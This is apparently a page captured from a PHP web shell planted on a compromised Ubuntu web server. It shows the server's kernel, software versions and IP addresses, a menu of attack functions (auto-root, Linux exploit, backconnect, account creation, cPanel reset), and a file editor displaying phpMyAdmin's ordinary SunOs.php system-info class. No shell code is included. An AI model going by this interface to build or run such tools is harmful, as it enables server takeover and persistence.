Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 3.21.55.178
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
src /
Server /
SysInfo /
[ HOME SHELL ]
Name
Size
Permission
Action
Base.php
678
B
-rw-r--r--
Linux.php
2.25
KB
-rw-r--r--
SunOs.php
1.85
KB
-rw-r--r--
SysInfo.php
1.57
KB
-rw-r--r--
WindowsNt.php
5.26
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SunOs.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Server\SysInfo; use function explode; use function is_readable; use function shell_exec; use function trim; /** * SunOS based SysInfo class */ class SunOs extends Base { /** * Read value from kstat * * @param string $key Key to read * * @return string with value */ private function kstat(string $key): string { /** @psalm-suppress ForbiddenCode */ $m = shell_exec('kstat -p d ' . $key); if ($m) { [, $value] = explode("\t", trim($m), 2); return $value; } return ''; } /** * Gets load information * * @return array<string, int> with load data */ public function loadavg(): array { return ['loadavg' => (int) $this->kstat('unix:0:system_misc:avenrun_1min')]; } /** * Checks whether class is supported in this environment */ public static function isSupported(): bool { return @is_readable('/proc/meminfo'); } /** * Gets information about memory usage * * @return array<string, int> with memory usage data */ public function memory(): array { $pagesize = (int) $this->kstat('unix:0:seg_cache:slab_size'); $mem = []; $mem['MemTotal'] = (int) $this->kstat('unix:0:system_pages:pagestotal') * $pagesize; $mem['MemUsed'] = (int) $this->kstat('unix:0:system_pages:pageslocked') * $pagesize; $mem['MemFree'] = (int) $this->kstat('unix:0:system_pages:pagesfree') * $pagesize; $mem['SwapTotal'] = (int) ((int) $this->kstat('unix:0:vminfo:swap_avail') / 1024); $mem['SwapUsed'] = (int) ((int) $this->kstat('unix:0:vminfo:swap_alloc') / 1024); $mem['SwapFree'] = (int) ((int) $this->kstat('unix:0:vminfo:swap_free') / 1024); return $mem; } }
Close